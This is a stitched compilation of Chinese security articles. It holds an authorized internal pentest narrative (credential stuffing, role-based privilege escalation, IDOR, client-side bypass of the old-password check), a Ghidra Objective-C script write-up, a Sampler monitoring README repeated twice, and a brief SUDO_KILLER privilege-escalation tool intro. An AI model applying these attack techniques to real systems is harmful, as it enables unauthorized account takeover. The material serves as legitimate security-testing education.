前言

这篇文章主要说的是我在这次内部测试的任务中,如何一步步获取应用系统最高权限,总的来说,是各种小漏洞的组合拳。因是内部系统,所以打码稍微严重些。

正文

在兴(suo)致(ran)盎(wu)然(wei)的某一工作日,突然接到领导的指示,要对内部的运维平台进行渗透测试。

image.png

在收到消息的第二天,我精(wan)神(ban)抖(wu)擞(nai)的开始了我的工作。要到测试地址后,我一看,卧槽,果然不出所料,只有一个登陆框。

image.png

对于这种系统,我在心里告诉自己,不要慌,办法总比困难多,随便找两个低危漏洞交差了事,并且又想到,这是生产系统,全国几十个分公司都实时在用,可不能搞瘫痪了,最终我说服自己不扫描、不测影响业务的漏洞,这样一想,我心里立马更坚定了只找两个低位漏洞交差的想法。我果然是聪敏人!!

开始

好的,接下来我就简单的收集了些信息

首先用google插件wapplyzer,查看了当前系统的信息

image.png

为了不被防火墙拉黑,nmap简单的跑了一下,就是探测一些常见的端口,看看管理员有没有部署一些用于测试的垃圾站。。。。结果可想而知。

image.png

还跑过系统目录,钟馗也看了下等等,没什么有用信息,就不贴图了。

看来确实要对主站完全手工了,只能打开神器burp分析数据包,尽量挖一些逻辑上的漏洞。

我看了登录框,没验证码,首先想到的肯定是对admin账号先爆破一波。然而:当我输入几次登录信息后,发现用户名密码错误提示是一样的,且有5次错误锁定策略,那肯定就不能直接进行爆破了。

image.png

接着看网页源码也没什么有用信息,但看包竟然是明文传输的,这种情况下,采用单次撞库是最合适的手段。

image.png

接下来就是祭出burp,抓包,撞库,用topname10000进行撞库,幸好没用tonname500,要不然可能就凉了

image.png

运气不错啊,一万里面总算还有两个成功的,看来后台的弱口令总是会有漏网之鱼。

到这,我觉得我的工作已经算是超额了,可以交差了。但想着将要面对领导那慈祥的眼神,我只能瑟瑟发抖的再接着往下测。

登录wu**这个账号到系统里面,发现这个账号权限很低,不行,满足不了自己的需求,再尝试登录另一个账号,苍天有眼,竟然有新建账号的权限,看来是个当官的了。。。

image.png

接下来就是对账号新建功能一系列的尝试,过程就略了。。。。只说结果。

在新建账号发现在选择角色处,某一个角色权限竟然比自己使用的账号的权限还要高,果断就建了一个账号systemtest。

image.png

然后再登录systemtest发现,有更多的模块,而其中一项竟然是角色管理,而这个角色管理可以新建一个角色,并且新建角色尽然可以选择拥有所有模块的权限,以我的作风,那必须立马盘它。

image.png

到此,感觉到浑身充满了力量,这么容易就拿下了最高权限?迫不及待的我立马新建了一个角色,一个账号systemtest2,登录。。。

image.png

噗。。看到这画面,我就蒙了,现实果然给了我一个狠狠的耳刮子,这个权限竟然只有某一个分公司的最高权限,而不是系统总部的最高权限,这可不行,都到这了,一定要拿下总部的最高权限。

接着,我又开始目的性很强的功能分析与寻找,其实就是胡乱点击,过程就略了…..最终我在查看用户信息的时候发现,发现一个很有特色的参数,而这个参数很像用户的ID值

image.png

以我的聪(cai)明(shu)才(xue)智(qian)立马感觉这参数有戏,果不其然,我一访问,就感觉发现了新大陆一样

image.png

遍历340这个值,就可以直接修改个人信息啊。然后我经过测试,顺利的发现了admin账号的信息

image.png

到了这一步,我就要举一反三了,既然可以修改用户信息,那是不是也可以越权修改用户密码呢?带着这个疑问,我直接到修改个人密码功能的地方,果然可以越权访问修改密码的URL。。

image.png

接下来就是要必须解决旧密码的问题,只能去尝试是否可以绕过,没办法,只有抓包分析了。

咦。。。当我在输入旧密码后,准备输入新密码时,系统竟然会先对旧密码进行判定,我就在想这很可能可以绕过旧密码验证

image.png

我马上进行了抓包,果不其然,判定条件就以true/false来判定的,到了这,我感觉我要成功了,有点开始飘了,看来可以交差了。我把response结果改为true,长度改为4,果然成功绕过了验证。哈哈….

image.png

那接下来就一切顺利了,修改了admin密码,并成功登陆,看到了所有分公司的数据。。。。。。。

image.png

至此,就一切结束了,可以交差了。

测试的工作嘛,到这就结束了,至于拿shell,后渗透这些什么的,就再慢慢弄算了。。先把报告除了再说。

结语

拿下系统的最高权限并不是仅仅单靠某一漏洞,而是靠的各种小漏洞的组合拳,首先是明文传输,这就有了撞库的机会,然后是有弱口令,撞库才会成功,然后功能设计上也有缺陷,低权限的账号怎么能新建高权限的账号呢?设计者这就应该挨板子了,再然后才有越权访问admin信息,再有原密码的绕过,这一系列小漏洞单独来说不严重,但一旦结合起来,就出现了很严重的安全事件,在进行安全防护工作时,应尽量考虑周全,任何一个弱点都可能成为黑客的突破口。

*本文原创作者:jin16879,本文属FreeBuf原创奖励计划,未经许可禁止转载

背景

之前在《使用IDA Pro的REobjc模块逆向Objective-C二进制文件》一文中,我们提到了在使用IDA Pro分析iOS应用的过程中,由于Objective-C语言的动态特性,大部分的方法调用都是通过调用_objc_msgSend方法加上实际调用方法名作为参数的方式进行,以至于在IDA Pro分析完成后,在交叉引用列表中缺失了许多原本应该存在的引用记录。

DUO Labs的Todd Manning开发了一款IDA Pro的脚本,可以帮助逆向研究者更全面地获取交叉引用的信息。可惜的是,这款脚本仅面向x64平台,所以如果我们分析的是iOS应用,这款工具只能补全针对模拟器编译的应用包,对于实际情况下的逆向工作还是有许多的限制。

在今年三月份举办的2019年RSA大会上,美国国家安全局(NSA)公开介绍并演示了一款名为Ghidra的逆向工程框架,并且将Ghidra作为开源工具开放给了大众使用。由于其为java编写的特点,所以可以跨平台使用,并且支持多种CPU架构。Ghidra可以对主流操作系统的二进制文件进行分析,包括Android和iOS。同时,用户可以使用开放的API接口开发自己的Ghidra插件组件或脚本。对于这样一款功能强大并且是开源的逆向工具,我们也第一时间将其使用到了日常逆向工作中。

初步分析

我们搭建了一个iOS的测试工程,选择真机设备进行编译,使其编译后的应用包为arm64的CPU架构,然后拖入Ghidra和IDA Pro进行分析。

我们创建了一个名为Lion的类,在其中创建一个名为lionFirstMethod的方法。然后在ViewController类的method1方法中使用[lion lionFirstMethod]的方式进行调用。同时,我们在Lion类的lionSecondMethodWithArg1: andArg2:方法中使用同样的方式进行调用。通过之前的研究我们可以知道,这些方法调用实际上都是通过_objc_msgSend的方式进行调用。我们在IDA Pro和Ghidra中针对lionFirstMethod及其交叉引用信息进行分析,结果发现:

在IDA Pro中,仅分析出了lionSecondMethodWithArg1: andArg2:方法中的调用。

640.webp.jpg

在Ghidra中,不仅分析出了lionSecondMethodWithArg1: andArg2:方法中的调用,而且还分析出了另外一处method1中的调用。

640.webp (1).jpg

这不禁引起了我们的注意和兴趣,经过分析我们发现,Ghidra解析出了测试工程中大部分的_objc_msgSend调用,而IDA Pro只解析出了一部分。

解析_objc_msgSend

对于逆向工程来说,准确并全面的交叉引用信息尤为重要,它可以帮助我们分析某个关键函数在二进制文件中是否被调用以及如何被调用。基于这点,我们开始研究在Ghidra中编写Python脚本来分析所有的_objc_msgSend方法,试图解析出实际调用的类和方法名。

首先我们需要找出_objc_msgSend,于是我们遍历可执行文件中所有的方法,在每个方法中遍历arm指令,如果遇到bl指令,判断其是否是_objc_msgSend。由于在bl指令调用_objc_msgSend方法前,处理器会读取内存数据,向寄存器中写入类、方法名和参数信息,所以如果是_objc_msgSend,我们就可以按地址往前寻找ldr指令。

640.webp (2).jpg

上面是一个非常简单的例子,这里可以看到,程序在地址0x100006134处调用了_objc_msgSend,而此处实际调用的方法是[Lion alloc]。我们按地址往前寻找,可以看到在0x100006128和0x10000612c处都使用了ldr指令从内存中读取了数据写入了寄存器。根据arm的ABI文档,我们可以知道,在函数调用时,前几个寄存器会被用来存放函数的参数。所以对于没有参数的[Lion alloc]来说,Lion和alloc便是_objc_msgSend函数的两个参数,我们也可以在arm指令中看出,在bl指令调用_objc_msgSend之前,指向类Lion和方法alloc的引用分别被写入了X0和X1寄存器。

在找到ldr指令后,我们可以分析ldr指令对应的操作数,如果对应到的是一个引用,就可以提取其引用信息。通过递归跟踪其引用地址,可以分析出其最终指向的内容。如果指向的内容是类名,那我们就找到了此次_objc_msgSend调用对应的类信息,如果指向的内容是方法名,那我们就找到了此次_objc_msgSend调用对应的方法信息。以此,我们就可以拼凑出该_objc_msgSend对应的实际方法调用。

完善脚本

在编写脚本的过程中,我们发现,ldr指令中对应的操作数,其最终指向的内容多为__objc_methname和__objc_classname段中的数据。因此,我们在真正开始分析之前,先要解析这两个段中的数据并保存起来,以便解析_objc_msgSend的时候可以快速地对映到相关类名和方法名。

此外,由于Ghidra在初始分析完成之后,交叉引用信息已经比较完善,并且在大部分的_objc_msgSend调用处都已经添加了对应分析完成的注释,所以我们可以将这两类信息一并加以分析并辅助我们的分析结果。

640.webp (5).jpg

脚本编写完成后可以发现,通过脚本解析的_objc_msgSend的类名和方法名与Ghidra分析的类名和方法名一致。

640.webp (6).jpg

此外,由于Objective-C动态的特性,有一些诸如”performSelector”这样的反射方法。我们编写脚本的时候也考虑到了这个特点,如果分析得到的方法名为performSelector,我们会追加分析其参数,以便解析出真正的调用方法。

在脚本编写完成后,我们尝试在测试工程中运行脚本。共解析出93处交叉引用,其中通过脚本补全了其中的18处。相同的测试工程在IDA Pro分析后仅解析出交叉引用共14处。

目前该脚本已经在Github上开源:https://github.com/PAGalaxyLab/ghidra_scripts/blob/master/AnalyzeOCMsgSend.py

参考及来源:

银河安全实验室 姜若芾 

http://galaxylab.com.cn/%e4%bd%bf%e7%94%a8ida-pro%e7%9a%84reobjc%e6%a8%a1%e5%9d%97%e9%80%86%e5%90%91objective-c%e4%ba%8c%e8%bf%9b%e5%88%b6%e6%96%87%e4%bb%b6/

Sampler是一个用于shell命令执行,可视化和告警的工具。其配置使用的是一个简单的YAML文件。

为什么我需要它?

你可以直接从终端对任意动态进程进行采样 – 观察数据库中的更改,监控MQ动态消息(in-flight messages),触发部署脚本并在完成后获取通知。

如果有一种方法可以使用shell命令获取指标(metric),那么可以使用Sampler立即对其进行可视化。

安装

macOS

brew cask install sampler

sudo curl -Lo /usr/local/bin/sampler https://github.com/sqshq/sampler/releases/download/v1.0.3/sampler-1.0.3-darwin-amd64
sudo chmod +x /usr/local/bin/sampler

Linux

sudo wget https://github.com/sqshq/sampler/releases/download/v1.0.3/sampler-1.0.3-linux-amd64 -O /usr/local/bin/sampler
sudo chmod +x /usr/local/bin/sampler

注意:需要为Sampler安装libasound2-dev系统库用以播放触发器声音。通常库已安装在相应位置,但如果没有 – 你可以使用你习惯的包管理器进行安装,例如apt install libasound2-dev

Windows(实验)

建议在高级控制台模拟器下使用,如Cmder

Download .exe

使用

指定shell命令,Sampler会相应的速率执行这些命令。输出用于可视化。

使用Sampler基本上的三步过程:

在YAML配置文件中定义shell命令

运行sampler -c config.yml

在UI上调整组件大小和位置

市面早已有许多监控系统

Sampler绝不是监控系统的替代品,而是易于设置的开发工具。

如果spinning up和使用Grafana配置Prometheus是完全多余的任务,那么Sampler可能是正确的解决方案。没有服务器,没有数据库,不需要部署 – 你指定了shell命令,它就可以工作了。

我监控的每台服务器上都需要安装吗?

不,你可以在本地运行Sampler,但仍然可以从多台远程计算机上收集遥测数据。任何可视化都可能具有init命令,你可以在其中ssh到远程服务器。请参阅SSH example

组件

以下是每种组件类型的配置示例列表,其中包含与macOS兼容的采样脚本。

Runchart

runcharts:
  - title: Search engine response time
    rate-ms: 500        # sampling rate, default = 1000
    scale: 2            # number of digits after sample decimal point, default = 1
    legend:
      enabled: true     # enables item labels, default = true
      details: false    # enables item statistics: cur/min/max/dlt values, default = true
    items:
      - label: GOOGLE
        sample: curl -o /dev/null -s -w '%{time_total}'  https://www.google.com
        color: 178      # 8-bit color number, default one is chosen from a pre-defined palette
      - label: YAHOO
        sample: curl -o /dev/null -s -w '%{time_total}'  https://search.yahoo.com
      - label: BING
        sample: curl -o /dev/null -s -w '%{time_total}'  https://www.bing.com

Sparkline

sparklines:
  - title: CPU usage
    rate-ms: 200
    scale: 0
    sample: ps -A -o %cpu | awk '{s+=$1} END {print s}'
  - title: Free memory pages
    rate-ms: 200
    scale: 0
    sample: memory_pressure | grep 'Pages free' | awk '{print $3}'

Barchart

barcharts:
  - title: Local network activity
    rate-ms: 500        # sampling rate, default = 1000
    scale: 0            # number of digits after sample decimal point, default = 1
    items:
      - label: UDP bytes in
        sample: nettop -J bytes_in -l 1 -m udp | awk '{sum += $4} END {print sum}'
      - label: UDP bytes out
        sample: nettop -J bytes_out -l 1 -m udp | awk '{sum += $4} END {print sum}'
      - label: TCP bytes in
        sample: nettop -J bytes_in -l 1 -m tcp | awk '{sum += $4} END {print sum}'
      - label: TCP bytes out
        sample: nettop -J bytes_out -l 1 -m tcp | awk '{sum += $4} END {print sum}'

Gauge

gauges:
  - title: Minute progress
    rate-ms: 500        # sampling rate, default = 1000
    scale: 2            # number of digits after sample decimal point, default = 1
    percent-only: false # toggle display of the current value, default = false
    color: 178          # 8-bit color number, default one is chosen from a pre-defined palette
    cur:
      sample: date +%S  # sample script for current value
    max:
      sample: echo 60   # sample script for max value
    min:
      sample: echo 0    # sample script for min value
  - title: Year progress
    cur:
      sample: date +%j
    max:
      sample: echo 365
    min:
      sample: echo 0

Textbox

textboxes:
  - title: Local weather
    rate-ms: 10000      # sampling rate, default = 1000
    sample: curl wttr.in?0ATQF
    border: false       # border around the item, default = true
    color: 178          # 8-bit color number, default is white
  - title: Docker containers stats
    rate-ms: 500
    sample: docker stats --no-stream --format "table {{.Name}}\t{{.CPUPerc}}\t{{.MemUsage}}\t{{.PIDs}}"

Asciibox

asciiboxes:
  - title: UTC time
    rate-ms: 500        # sampling rate, default = 1000
    font: 3d            # font type, default = 2d
    border: false       # border around the item, default = true    
    color: 43           # 8-bit color number, default is white
    sample: env TZ=UTC date +%r

额外功能

Triggers

触发器允许执行条件操作,如视觉/声音告警或任意shell命令。以下示例说明了此概念。

Clock gauge,从开始的每分钟显示时间进度和当前时间

gauges:
  - title: MINUTE PROGRESS
    position: [[0, 18], [80, 0]]  
    cur:
      sample: date +%S
    max:
      sample: echo 60
    min:
      sample: echo 0
    triggers:
      - title: CLOCK BELL EVERY MINUTE
        condition: '[ $label == "cur" ] && [ $cur -eq 0 ] && echo 1 || echo 0'  # expects "1" as TRUE indicator
        actions:
          terminal-bell: true  # standard terminal bell, default = false
          sound: true    # NASA quindar tone, default = false
          visual: false  # notification with current value on top of the component area, default = false
          script: say -v samantha `date +%I:%M%p`  # an arbitrary script, which can use $cur, $prev and $label variables

搜索引擎延迟图表,在延迟超过阈值时向用户发出告警

runcharts:
  - title: SEARCH ENGINE RESPONSE TIME (sec)
    rate-ms: 200
    items:
      - label: GOOGLE
        sample: curl -o /dev/null -s -w '%{time_total}'  https://www.google.com
      - label: YAHOO
        sample: curl -o /dev/null -s -w '%{time_total}'  https://search.yahoo.com     
    triggers:
      - title: Latency threshold exceeded
        condition: echo "$prev < 0.3 && $cur > 0.3" |bc -l  # expects "1" as TRUE indicator
        actions:
          terminal-bell: true  # standard terminal bell, default = false
          sound: true   # NASA quindar tone, default = false
          visual: true  # visual notification on top of the component area, default = false
          script: 'say alert: ${label} latency exceeded ${cur} second' # an arbitrary script, which can use $cur, $prev and $label variables

交互式 shell 支持

除了sample命令之外,还可以指定init命令(在采样前仅执行一次)和transform命令(后处理采样命令输出)。这包括交互式shell用例,例如仅建立与数据库的连接一次,然后在交互式shell会话中执行轮询。

Basic mode

textboxes:
  - title: MongoDB polling
    rate-ms: 500
    init: mongo --quiet --host=localhost test # executes only once to start the interactive session
    sample: Date.now();                       # executes with a required rate, in scope of the interactive session
    transform: echo result = $sample          # executes in scope of local session, $sample variable is available for transformation

PTY mode

在某些情况下,交互式shell将无法工作,因为它的stdin不是终端。这种情况下我们可以使用PTY模式:

textboxes:
  - title: Neo4j polling
    pty: true  # enables pseudo-terminal mode, default = false
    init: cypher-shell -u neo4j -p pwd --format plain
    sample: RETURN rand();
    transform: echo "$sample" | tail -n 1
  - title: Top on a remote server
    pty: true  # enables pseudo-terminal mode, default = false
    init: ssh -i ~/user.pem [email protected]
    sample: top

 init 命令逐步执行

在开始采样之前,还可以逐个执行多个init命令。

textboxes:
  - title: Java application uptime
    multistep-init:
      - java -jar jmxterm-1.0.0-uber.jar
      - open host:port # or local PID
      - bean java.lang:type=Runtime
    sample: get Uptime

变量

如果配置文件包含重复的模式,则可以将它们提取到变量部分。此外,还可以在启动时使用-v/–variable标志指定变量,并且任意的系统环境变量也可以在脚本中使用。

variables:
    mongoconnection: mongo --quiet --host=localhost test
barcharts:
  - title: MongoDB documents by status
    items:
      - label: IN_PROGRESS
        init: $mongoconnection
        sample: db.getCollection('events').find({status:'IN_PROGRESS'}).count()
      - label: SUCCESS
        init: $mongoconnection
        sample: db.getCollection('events').find({status:'SUCCESS'}).count()
      - label: FAIL
        init: $mongoconnection
        sample: db.getCollection('events').find({status:'FAIL'}).count()

颜色主题

theme: light # default = dark
sparklines:
  - title: CPU usage
    sample: ps -A -o %cpu | awk '{s+=$1} END {print s}'

真实场景

数据库

以下是不同的数据库连接示例。建议使用交互式shell(init脚本)仅建立一次连接,然后在采样期间重用即可。

MySQL

# prerequisite: installed mysql shell
variables:
  mysql_connection: mysql -u root -s --database mysql --skip-column-names
sparklines:  
  - title: MySQL (random number example)
    pty: true
    init: $mysql_connection
    sample: select rand();

PostgreSQL

# prerequisite: installed psql shell
variables:
  PGPASSWORD: pwd
  postgres_connection: psql -h localhost -U postgres --no-align --tuples-only
sparklines:
  - title: PostgreSQL (random number example)
    init: $postgres_connection
    sample: select random();

MongoDB

# prerequisite: installed mongo shell
variables:
  mongo_connection: mongo --quiet --host=localhost test
sparklines:
  - title: MongoDB (random number example)
    init: $mongo_connection
    sample: Math.random();

Neo4j

# prerequisite: installed cypher shell
variables:
  neo4j_connection: cypher-shell -u neo4j -p pwd --format plain
sparklines:
  - title: Neo4j (random number example)
    pty: true
    init: $neo4j_connection
    sample: RETURN rand();
    transform: echo "$sample" | tail -n 1

Kafka

检查kafka lag值,计算每个队列lag值的和,高于阈值报警,多consumergroup,多topic。

variables:
  kafka_connection: $KAFKA_HOME/bin/kafka-consumer-groups --bootstrap-server localhost:9092
runcharts:
  - title: Kafka lag per consumer group
    rate-ms: 5000
    scale: 0
    items:
      - label: A->B
        sample: $kafka_connection --group group_a --describe | awk 'NR>1 {sum += $5} END {print sum}'
      - label: B->C
        sample: $kafka_connection --group group_b --describe | awk 'NR>1 {sum += $5} END {print sum}'
      - label: C->D
        sample: $kafka_connection --group group_c --describe | awk 'NR>1 {sum += $5} END {print sum}'

Docker

Docker容器统计信息(CPU,MEM,O/I)

textboxes:
  - title: Docker containers stats
    sample: docker stats --no-stream --format "table {{.Name}}\t{{.CPUPerc}}\t{{.MemPerc}}\t{{.MemUsage}}\t{{.NetIO}}\t{{.BlockIO}}\t{{.PIDs}}"

SSH

远程服务器上的TOP命令

variables:
  sshconnection: ssh -i ~/my-key-pair.pem [email protected]
textboxes:
  - title: SSH
    pty: true
    init: $sshconnection
    sample: top

JMX

Java应用程序的正常运行示例

# prerequisite: download [jmxterm jar file](https://docs.cyclopsgroup.org/jmxterm)
textboxes:
  - title: Java application uptime
    multistep-init:
      - java -jar jmxterm-1.0.0-uber.jar
      - open host:port # or local PID
      - bean java.lang:type=Runtime
    sample: get Uptime
    transform: echo $sample | tr -dc '0-9' | awk '{printf "%.1f min", $1/1000/60}'

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

Sampler是一个用于shell命令执行,可视化和告警的工具。其配置使用的是一个简单的YAML文件。

为什么我需要它?

你可以直接从终端对任意动态进程进行采样 – 观察数据库中的更改,监控MQ动态消息(in-flight messages),触发部署脚本并在完成后获取通知。

如果有一种方法可以使用shell命令获取指标(metric),那么可以使用Sampler立即对其进行可视化。

安装

macOS

brew cask install sampler

sudo curl -Lo /usr/local/bin/sampler https://github.com/sqshq/sampler/releases/download/v1.0.3/sampler-1.0.3-darwin-amd64
sudo chmod +x /usr/local/bin/sampler

Linux

sudo wget https://github.com/sqshq/sampler/releases/download/v1.0.3/sampler-1.0.3-linux-amd64 -O /usr/local/bin/sampler
sudo chmod +x /usr/local/bin/sampler

注意:需要为Sampler安装libasound2-dev系统库用以播放触发器声音。通常库已安装在相应位置,但如果没有 – 你可以使用你习惯的包管理器进行安装,例如apt install libasound2-dev

Windows(实验)

建议在高级控制台模拟器下使用,如Cmder

Download .exe

使用

指定shell命令,Sampler会相应的速率执行这些命令。输出用于可视化。

使用Sampler基本上的三步过程:

在YAML配置文件中定义shell命令

运行sampler -c config.yml

在UI上调整组件大小和位置

市面早已有许多监控系统

Sampler绝不是监控系统的替代品,而是易于设置的开发工具。

如果spinning up和使用Grafana配置Prometheus是完全多余的任务,那么Sampler可能是正确的解决方案。没有服务器,没有数据库,不需要部署 – 你指定了shell命令,它就可以工作了。

我监控的每台服务器上都需要安装吗?

不,你可以在本地运行Sampler,但仍然可以从多台远程计算机上收集遥测数据。任何可视化都可能具有init命令,你可以在其中ssh到远程服务器。请参阅SSH example

组件

以下是每种组件类型的配置示例列表,其中包含与macOS兼容的采样脚本。

Runchart

runcharts:
  - title: Search engine response time
    rate-ms: 500        # sampling rate, default = 1000
    scale: 2            # number of digits after sample decimal point, default = 1
    legend:
      enabled: true     # enables item labels, default = true
      details: false    # enables item statistics: cur/min/max/dlt values, default = true
    items:
      - label: GOOGLE
        sample: curl -o /dev/null -s -w '%{time_total}'  https://www.google.com
        color: 178      # 8-bit color number, default one is chosen from a pre-defined palette
      - label: YAHOO
        sample: curl -o /dev/null -s -w '%{time_total}'  https://search.yahoo.com
      - label: BING
        sample: curl -o /dev/null -s -w '%{time_total}'  https://www.bing.com

Sparkline

sparklines:
  - title: CPU usage
    rate-ms: 200
    scale: 0
    sample: ps -A -o %cpu | awk '{s+=$1} END {print s}'
  - title: Free memory pages
    rate-ms: 200
    scale: 0
    sample: memory_pressure | grep 'Pages free' | awk '{print $3}'

Barchart

barcharts:
  - title: Local network activity
    rate-ms: 500        # sampling rate, default = 1000
    scale: 0            # number of digits after sample decimal point, default = 1
    items:
      - label: UDP bytes in
        sample: nettop -J bytes_in -l 1 -m udp | awk '{sum += $4} END {print sum}'
      - label: UDP bytes out
        sample: nettop -J bytes_out -l 1 -m udp | awk '{sum += $4} END {print sum}'
      - label: TCP bytes in
        sample: nettop -J bytes_in -l 1 -m tcp | awk '{sum += $4} END {print sum}'
      - label: TCP bytes out
        sample: nettop -J bytes_out -l 1 -m tcp | awk '{sum += $4} END {print sum}'

Gauge

gauges:
  - title: Minute progress
    rate-ms: 500        # sampling rate, default = 1000
    scale: 2            # number of digits after sample decimal point, default = 1
    percent-only: false # toggle display of the current value, default = false
    color: 178          # 8-bit color number, default one is chosen from a pre-defined palette
    cur:
      sample: date +%S  # sample script for current value
    max:
      sample: echo 60   # sample script for max value
    min:
      sample: echo 0    # sample script for min value
  - title: Year progress
    cur:
      sample: date +%j
    max:
      sample: echo 365
    min:
      sample: echo 0

Textbox

textboxes:
  - title: Local weather
    rate-ms: 10000      # sampling rate, default = 1000
    sample: curl wttr.in?0ATQF
    border: false       # border around the item, default = true
    color: 178          # 8-bit color number, default is white
  - title: Docker containers stats
    rate-ms: 500
    sample: docker stats --no-stream --format "table {{.Name}}\t{{.CPUPerc}}\t{{.MemUsage}}\t{{.PIDs}}"

Asciibox

asciiboxes:
  - title: UTC time
    rate-ms: 500        # sampling rate, default = 1000
    font: 3d            # font type, default = 2d
    border: false       # border around the item, default = true    
    color: 43           # 8-bit color number, default is white
    sample: env TZ=UTC date +%r

额外功能

Triggers

触发器允许执行条件操作,如视觉/声音告警或任意shell命令。以下示例说明了此概念。

Clock gauge,从开始的每分钟显示时间进度和当前时间

gauges:
  - title: MINUTE PROGRESS
    position: [[0, 18], [80, 0]]  
    cur:
      sample: date +%S
    max:
      sample: echo 60
    min:
      sample: echo 0
    triggers:
      - title: CLOCK BELL EVERY MINUTE
        condition: '[ $label == "cur" ] && [ $cur -eq 0 ] && echo 1 || echo 0'  # expects "1" as TRUE indicator
        actions:
          terminal-bell: true  # standard terminal bell, default = false
          sound: true    # NASA quindar tone, default = false
          visual: false  # notification with current value on top of the component area, default = false
          script: say -v samantha `date +%I:%M%p`  # an arbitrary script, which can use $cur, $prev and $label variables

搜索引擎延迟图表,在延迟超过阈值时向用户发出告警

runcharts:
  - title: SEARCH ENGINE RESPONSE TIME (sec)
    rate-ms: 200
    items:
      - label: GOOGLE
        sample: curl -o /dev/null -s -w '%{time_total}'  https://www.google.com
      - label: YAHOO
        sample: curl -o /dev/null -s -w '%{time_total}'  https://search.yahoo.com     
    triggers:
      - title: Latency threshold exceeded
        condition: echo "$prev < 0.3 && $cur > 0.3" |bc -l  # expects "1" as TRUE indicator
        actions:
          terminal-bell: true  # standard terminal bell, default = false
          sound: true   # NASA quindar tone, default = false
          visual: true  # visual notification on top of the component area, default = false
          script: 'say alert: ${label} latency exceeded ${cur} second' # an arbitrary script, which can use $cur, $prev and $label variables

交互式 shell 支持

除了sample命令之外,还可以指定init命令(在采样前仅执行一次)和transform命令(后处理采样命令输出)。这包括交互式shell用例,例如仅建立与数据库的连接一次,然后在交互式shell会话中执行轮询。

Basic mode

textboxes:
  - title: MongoDB polling
    rate-ms: 500
    init: mongo --quiet --host=localhost test # executes only once to start the interactive session
    sample: Date.now();                       # executes with a required rate, in scope of the interactive session
    transform: echo result = $sample          # executes in scope of local session, $sample variable is available for transformation

PTY mode

在某些情况下,交互式shell将无法工作,因为它的stdin不是终端。这种情况下我们可以使用PTY模式:

textboxes:
  - title: Neo4j polling
    pty: true  # enables pseudo-terminal mode, default = false
    init: cypher-shell -u neo4j -p pwd --format plain
    sample: RETURN rand();
    transform: echo "$sample" | tail -n 1
  - title: Top on a remote server
    pty: true  # enables pseudo-terminal mode, default = false
    init: ssh -i ~/user.pem [email protected]
    sample: top

 init 命令逐步执行

在开始采样之前,还可以逐个执行多个init命令。

textboxes:
  - title: Java application uptime
    multistep-init:
      - java -jar jmxterm-1.0.0-uber.jar
      - open host:port # or local PID
      - bean java.lang:type=Runtime
    sample: get Uptime

变量

如果配置文件包含重复的模式,则可以将它们提取到变量部分。此外,还可以在启动时使用-v/–variable标志指定变量,并且任意的系统环境变量也可以在脚本中使用。

variables:
    mongoconnection: mongo --quiet --host=localhost test
barcharts:
  - title: MongoDB documents by status
    items:
      - label: IN_PROGRESS
        init: $mongoconnection
        sample: db.getCollection('events').find({status:'IN_PROGRESS'}).count()
      - label: SUCCESS
        init: $mongoconnection
        sample: db.getCollection('events').find({status:'SUCCESS'}).count()
      - label: FAIL
        init: $mongoconnection
        sample: db.getCollection('events').find({status:'FAIL'}).count()

颜色主题

theme: light # default = dark
sparklines:
  - title: CPU usage
    sample: ps -A -o %cpu | awk '{s+=$1} END {print s}'

真实场景

数据库

以下是不同的数据库连接示例。建议使用交互式shell(init脚本)仅建立一次连接,然后在采样期间重用即可。

MySQL

# prerequisite: installed mysql shell
variables:
  mysql_connection: mysql -u root -s --database mysql --skip-column-names
sparklines:  
  - title: MySQL (random number example)
    pty: true
    init: $mysql_connection
    sample: select rand();

PostgreSQL

# prerequisite: installed psql shell
variables:
  PGPASSWORD: pwd
  postgres_connection: psql -h localhost -U postgres --no-align --tuples-only
sparklines:
  - title: PostgreSQL (random number example)
    init: $postgres_connection
    sample: select random();

MongoDB

# prerequisite: installed mongo shell
variables:
  mongo_connection: mongo --quiet --host=localhost test
sparklines:
  - title: MongoDB (random number example)
    init: $mongo_connection
    sample: Math.random();

Neo4j

# prerequisite: installed cypher shell
variables:
  neo4j_connection: cypher-shell -u neo4j -p pwd --format plain
sparklines:
  - title: Neo4j (random number example)
    pty: true
    init: $neo4j_connection
    sample: RETURN rand();
    transform: echo "$sample" | tail -n 1

Kafka

检查kafka lag值,计算每个队列lag值的和,高于阈值报警,多consumergroup,多topic。

variables:
  kafka_connection: $KAFKA_HOME/bin/kafka-consumer-groups --bootstrap-server localhost:9092
runcharts:
  - title: Kafka lag per consumer group
    rate-ms: 5000
    scale: 0
    items:
      - label: A->B
        sample: $kafka_connection --group group_a --describe | awk 'NR>1 {sum += $5} END {print sum}'
      - label: B->C
        sample: $kafka_connection --group group_b --describe | awk 'NR>1 {sum += $5} END {print sum}'
      - label: C->D
        sample: $kafka_connection --group group_c --describe | awk 'NR>1 {sum += $5} END {print sum}'

Docker

Docker容器统计信息(CPU,MEM,O/I)

textboxes:
  - title: Docker containers stats
    sample: docker stats --no-stream --format "table {{.Name}}\t{{.CPUPerc}}\t{{.MemPerc}}\t{{.MemUsage}}\t{{.NetIO}}\t{{.BlockIO}}\t{{.PIDs}}"

SSH

远程服务器上的TOP命令

variables:
  sshconnection: ssh -i ~/my-key-pair.pem [email protected]
textboxes:
  - title: SSH
    pty: true
    init: $sshconnection
    sample: top

JMX

Java应用程序的正常运行示例

# prerequisite: download [jmxterm jar file](https://docs.cyclopsgroup.org/jmxterm)
textboxes:
  - title: Java application uptime
    multistep-init:
      - java -jar jmxterm-1.0.0-uber.jar
      - open host:port # or local PID
      - bean java.lang:type=Runtime
    sample: get Uptime
    transform: echo $sample | tr -dc '0-9' | awk '{printf "%.1f min", $1/1000/60}'

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

工具概述

SUDO_KILLER这款工具可以帮助我们通过多种渠道利用SUDO来在Linux环境下实现提权。该工具能够识别目标操作系统版本,并发现环境中sudo规则的错误配置、安全漏洞,以及不安全的代码,而研究人员就可以利用SUDO_KILLER所提供的功能来将权限提升为ROOT权限。

SUDO_KILLER将提供一份命令列表或本地漏洞利用信息,以帮助研究人员实现提权。需要注意的是,该工具本身并不会执行任何形式的漏洞利用操作,漏洞利用操作需要研究人员手动执行。

功能介绍

SUDO_KILLER可以执行的检测以及功能包括:

1、错误配置

2、危险代码

3、Sudo漏洞版本(CVE)

4、危险环境变量

5、凭证收集

6、识别可执行脚本的目录(可写)

7、可替换的代码

8、识别错误脚本

工具使用

参考样例:

./sudo_killer.sh-c -r report.txt -e /tmp/

可用参数:

